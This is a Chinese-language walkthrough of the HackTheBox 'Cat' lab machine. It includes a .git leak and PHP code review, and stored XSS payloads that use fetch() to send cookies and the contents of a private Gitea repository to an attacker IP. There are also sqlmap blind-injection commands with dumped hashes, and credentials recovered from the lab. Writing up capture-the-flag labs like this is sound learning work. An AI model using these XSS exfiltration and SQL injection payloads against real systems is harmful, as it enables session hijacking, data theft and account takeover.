HackTheBox Cat

TelBo_on published on
5 min, 964 words

Categories: OSCP

user

recon

ports

sudo nmap -sT -sC -sV  -p22,80 cat.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-06 09:45 +08
Nmap scan report for cat.htb (10.129.189.200)
Host is up (0.093s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
|   256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
|_  256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-git: 
|   10.129.189.200:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Cat v1 
|_http-title: Best Cat Competition
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.99 seconds

发现存在.git文件泄露,dump下来。

image-20250206094719048

发现了web应用源代码

image-20250206094950437

大致浏览一遍,发现sql操作相关语句使用了预编译处理。暂不考虑sql注入。浏览界面功能。

需要我们先进行注册然后登录:

image-20250206095208430

登陆后发现我们可以在Contest界面下进行上传操作。

image-20250206095352551

且在contest.php中审计代码发现: From中的各个字段均被黑名单处理。

// Check for forbidden content                                                                                   
    if (contains_forbidden_content($cat_name, $forbidden_patterns) ||                                      
        contains_forbidden_content($age, $forbidden_patterns) ||                                         			contains_forbidden_content($birthdate, $forbidden_patterns) ||                                 				contains_forbidden_content($weight, $forbidden_patterns)) {      
        $error_message = "Your entry contains invalid characters.";

且上传的图片路径使用了uniqid函数进行随机化命名和对图片后缀、尺寸和类型进行鉴别。即使上传了也无法进行利用。


!! $imageIdentifier = uniqid() . "_";
// Upload cat photo                                                                                         
        $target_dir = "uploads/";         
!!      $target_file = $target_dir . $imageIdentifier . basename($_FILES["cat_photo"]["name"]);             
        $uploadOk = 1;                                    
        $imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));                                     
        // Check if the file is an actual image or a fake file                                               
!!      $check = getimagesize($_FILES["cat_photo"]["tmp_name"]);                                             
        if($check !== false) {                            
            $uploadOk = 1;                                
        } else {                                          
            $error_message = "Error: The file is not an image.";                                             
            $uploadOk = 0;                                
        }                                                                                                   
        // Check if the file already exists                                                                 
        if (file_exists($target_file)) {                                                                     
            $error_message = "Error: The file already exists.";                                             
            $uploadOk = 0;                                                                                   
        }                                                                                                   
        // Check file size
        if ($_FILES["cat_photo"]["size"] > 500000) {                                                         
            $error_message = "Error: The file is too large.";                                               
            $uploadOk = 0;                                                                                   
        }                                                                                                   
        // Allow only certain file formats                                                                   
!!      if ($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg") {
            $error_message = "Error: Only JPG, JPEG, and PNG files are allowed.";                           
            $uploadOk = 0;                                                                                   
        } 

在此处卡了一段时间,后经思考:这是一个提交表单,搞不好后台会对之进行处理,比如说点击?那会不会存在xss?

抓包发现此web应用Cookie 没有设置 HttpOnly。说明我们可以通过js脚本获取Cookie。 但从上面可知。contest.php下的各个输入字段已被过滤特殊字符,无法传入js代码。又该从哪里入手呢?

假设此表单会提交到后端,会不会如邮件列表一样显示呢?会不会显示来源?是谁提交的?又试了一下,发现用户名并没有进行过滤。那我可不可以在username中插入js代码。然后通过contese.php上传表单,诱使管理员点击呢?

exploit

使用js中的fetch函数进行cookie获取:<script>fetch('http://10.10.14.73/xss?cookie=' + btoa(document.cookie))</script>作为用户名。

image-20250206105308909

获取到了cookie:

image-20250206105503188

替换cookie登录。 image-20250206105658215

存在那个选项按钮,分别对应源码:view_cat、accept_cat、Reject_cat三个php文件。分析源代码发现。accpet_cat.php中的

if (isset($_POST['catId']) && isset($_POST['catName'])) {
            $cat_name = $_POST['catName'];
            $catId = $_POST['catId'];
            $sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";

catName参数没用进行PDO预处理,直接进行sql语句操作。手动测试了一下。大概率是布尔盲注或者时间盲注。这里我出现问题了,sqlmap跑了很多遍才跑出来。

sqlmap -r ./sql.txt  --risk 3 --level 5 -p catName  --dbms sqlite --technique=BEST -T users --dump
sqlmap resumed the following injection point(s) from stored session:                                         
---                                                   
Parameter: catName (POST)                                                                                   
    Type: boolean-based blind                                                                               
    Title: AND boolean-based blind - WHERE or HAVING clause                                                 
    Payload: catName=1'||(SELECT CHAR(102,106,121,119) WHERE 2440=2440 AND 2747=2747)||'&catId=1             
    Type: time-based blind                                                                                   
    Title: SQLite > 2.0 AND time-based blind (heavy query)                                                   
    Payload: catName=1'||(SELECT CHAR(102,65,122,77) WHERE 7797=7797 AND 6912=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))))||'&catId=1    
---
<current>                                                                                                            
[4 tables]                                                                                                           
+-----------------+                      
| accepted_cats   |                     
| cats            |                                                                                         
| sqlite_sequence |                                                                                         
| users           |                                 
+-----------------+ 


14:06:55] [INFO] retrieved: axel2017@gmail.com                                                               [14:07:18] [INFO] retrieved: d1bbba3670feb9435c9841e46e60ee2f                                               [14:07:57] [INFO] retrieved: 1                                                                               
[14:07:59] [INFO] retrieved: axel                         
[14:08:03] [INFO] retrieved: rosamendoza485@gmail.com
[14:08:35] [INFO] retrieved: ac369922d560f17d6eeb8b2c7dec498c                                               
[14:09:13] [INFO] retrieved: 2                                                                               
[14:09:15] [INFO] retrieved: rosa                                                                           
[14:09:21] [INFO] retrieved: robertcervantes2000@gmail.com                                                   
[14:09:52] [INFO] retrieved: 42846631708f69c00ec0c0a8aa4a92ad                                                [14:10:39] [INFO] retrieved: 3     
[14:10:40] [INFO] retrieved: robert                                                                         
[14:10:48] [INFO] retrieved: fabiancarachure2323@gmail.com
[14:11:20] [INFO] retrieved: 39e153e825c4a3d314a0dc7f7475ddbe                                               
[14:12:01] [INFO] retrieved: 4              
[14:12:03] [INFO] retrieved: fabian                                                                         
[14:12:11] [INFO] retrieved: jerrysonC343@gmail.com                                                          [14:12:40] [INFO] retrieved: 781593e060f8d065cd7281c5ec5b4b86                                               
[14:13:20] [INFO] retrieved: 5                            
[14:13:22] [INFO] retrieved: jerryson                                                                       
[14:13:31] [INFO] retrieved: larryP5656@gmail.com                                                           
[14:13:54] [INFO] retrieved: 1b6dce240bbfbc0905a664ad199e18f8                                               
[14:14:36] [INFO] retrieved: 6                        
[14:14:38] [INFO] retrieved: larry                                                                           
[14:14:44] [INFO] retrieved: royer.royer2323@gmail.com
[14:15:12] [INFO] retrieved: c598f6b844a36fa7836fba0835f1f6                                                 
[14:15:51] [INFO] retrieved: 7                                                                               
[14:15:53] [INFO] retrieved: royer                                                                           
[14:15:58] [INFO] retrieved: peterCC456@gmail.com                                                           
[14:16:25] [INFO] retrieved: e41ccefa439fc454f7eadbf1f139ed8a                                               
[14:17:06] [INFO] retrieved: 8                                                                               
[14:17:07] [INFO] retrieved: peter                                                                           
[14:17:13] [INFO] retrieved: angel234g@gmail.com                                                             
[14:17:36] [INFO] retrieved: 24a8ec003ac2e1b3c5953a6f95f8f565                                               
[14:18:21] [INFO] retrieved: 9              
[14:18:23] [INFO] retrieved: angel 
[14:18:29] [INFO] retrieved: jobert2020@gmail.com
[14:18:51] [INFO] retrieved: 88e4dceccd48820cf77b5cf6c08698ad                                               
[14:19:30] [INFO] retrieved: 10                                                                             
[14:19:32] [INFO] retrieved: jobert      
[14:19:39] [INFO] retrieved: xss@sec.com

在获取的hash中我们可以破解rosa的hash。破解后ssh登陆成功

稍微探测一下

rosa@cat:~$ sudo -l
[sudo] password for rosa: 
Sorry, user rosa may not run sudo on cat.
rosa@cat:~$ cat /etc/crontab
cat: /etc/crontab: Permission denied
rosa@cat:~$ ss -antlp
State                       Recv-Q                      Send-Q                                           Local Address:Port                                            Peer Address:Port                      Proces 
LISTEN                      0                           4096                                             127.0.0.53%lo:53                                                   0.0.0.0:*                                 
LISTEN                      0                           128                                                    0.0.0.0:22                                                   0.0.0.0:*                                   
LISTEN                      0                           4096                                                 127.0.0.1:3000                                                 0.0.0.0:*                                     
LISTEN                      0                           10                                                   127.0.0.1:25                                                   0.0.0.0:*                                     
LISTEN                      0                           1                                                    127.0.0.1:37689                                                0.0.0.0:*                                   
LISTEN                      0                           128                                                  127.0.0.1:51939                                                0.0.0.0:*                                   
LISTEN                      0                           37                                                   127.0.0.1:59111                                                0.0.0.0:*                                     
LISTEN                      0                           10                                                   127.0.0.1:587                                                  0.0.0.0:*                                     
LISTEN                      0                           511                                                          *:80                                                         *:*                                   
LISTEN                      0                           128                                                       [::]:22                                                      [::]:*                                                      
rosa@cat:~$ grep bash /etc/passwd
root:x:0:0:root:/root:/bin/bash
axel:x:1000:1000:axel:/home/axel:/bin/bash
rosa:x:1001:1001:,,,:/home/rosa:/bin/bash
git:x:114:119:Git Version Control,,,:/home/git:/bin/bash
jobert:x:1002:1002:,,,:/home/jobert:/bin/bash
rosa@cat:~$ id
uid=1001(rosa) gid=1001(rosa) groups=1001(rosa),4(adm)

存在如上账户,目标开放了3000端口,留待备用。rosa属于adm组。

我们可以看看adm组可以查看哪些文件:

rosa@cat:~$ find / -group adm 2>/dev/null                                                                                                                                                                                    15:00:26 [4/4]
/var/log/audit            
/var/log/audit/audit.log  
/var/log/audit/audit.log.4
/var/log/audit/audit.log.1
/var/log/audit/audit.log.3
/var/log/audit/audit.log.2
/var/log/syslog.2.gz      
/var/log/syslog.1         
/var/log/kern.log.2.gz    
/var/log/apt/term.log.2.gz
/var/log/apt/term.log.5.gz
/var/log/apt/term.log.4.gz
/var/log/apt/term.log.6.gz
/var/log/apt/term.log.3.gz
/var/log/apt/term.log
/var/log/apt/term.log.1.gz
/var/log/auth.log.1        
/var/log/kern.log.1             
/var/log/dmesg              
/var/log/apache2          
/var/log/apache2/access.log    
/var/log/apache2/access.log.2.gz        
/var/log/apache2/error.log.1 
/var/log/apache2/error.log
/var/log/apache2/error.log.2.gz
/var/log/apache2/other_vhosts_access.log         
/var/log/apache2/access.log.1  
.......

主要是可以查看/var/log下的日志。可以尝试搜索敏感字段,如password啥的。 其下可以发现十分醒目刷屏的一行 /var/log/apache2/access.log:127.0.0.1 - - [06/Feb/2025:01:13:43 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x8 6_64; rv:134.0) Gecko/20100101 Firefox/134.0" 如此得到了axel的密码。

ssh登录。得到user.txt

root

axel@cat:~$ sudo -l
[sudo] password for axel: 
Sorry, user axel may not run sudo on cat.
axel@cat:~$ cat /etc/crontab
cat: /etc/crontab: Permission denied
axel@cat:~$ id
uid=1000(axel) gid=1000(axel) groups=1000(axel)

在进行信息搜集时,发现/var/mail下存在邮件。 给出了相关信息:我们可以给jobert发送邮件,内容是我们的git存储库。提到了“description”,会查看它。存在一个私有库Employee-management。

我们将3000端口代理出来访问是一个gitea。这也是一个诱使点击的场景,进行xss尝试。 在description中插入payload如下:

<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(response => response.text()).then(data => fetch('http://10.10.14.73/xss?data='+encodeURIComponent(data))).catch(error => fetch('http://10.10.14.73/error'))">xss</a>

得到回显,解码后发现root密码。

Summary

这是一台linux环境下的XSS漏洞机器,学习一些知识点,比如:Httponly,以及关于提交表单类型xss的应用场景思考,还带点php代码审计,以及javascript下的fetchAPI的复习。

beyond

在js fetchAPI下对数据进行编码的函数,

URL相关:

  - encodeURIComponent最严格的编码包括&等特殊字符
  - encodeURI保留了&等URI语法字符
  - URLSearchParams自动处理空格为+适合表单数据

json相关:

response.json() .text() .blob()
JSON.stringify(data) 将json数据data转换成字符串

encodeURI函数

connect to [10.10.14.73] from (UNKNOWN) [10.129.189.200] 57696
GET /xss?data=%3C?php%0A$valid_username%20=%20%27admin%27;%0A$valid_password%20=%20%27IKw75eR0MR7CMIxhH0%27;%0A%0Aif%20(!isset($_SERVER%5B%27PHP_AUTH_USER%27%5D)%20%7C%7C%20!isset($_SERVER%5B%27PHP_AUTH_PW%27%5D)%20%7C%7C%20%0A%20%20%20%20$_SERVER%5B%27PHP_AUTH_USER%27%5D%20!=%20$valid_username%20%7C%7C%20$_SERVER%5B%27PHP_AUTH_PW%27%5D%20!=%20$valid_password)%20%7B%0A%20%20%20%20%0A%20%20%20%20header(%27WWW-Authenticate:%20Basic%20realm=%22Employee%20Management%22%27);%0A%20%20%20%20header(%27HTTP/1.0%20401%20Unauthorized%27);%0A%20%20%20%20exit;%0A%7D%0A%0Aheader(%27Location:%20dashboard.php%27);%0Aexit;%0A?%3E%0A%0A HTTP/1.1
Host: 10.10.14.73
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Origin: http://localhost:3000
Connection: keep-alive
Priority: u=4

URLSearchParams函数不适合进行xss信息回显,主要是将 JavaScript 对象转换为 URL 查询字符串,常用于在 GET 请求中传递参数。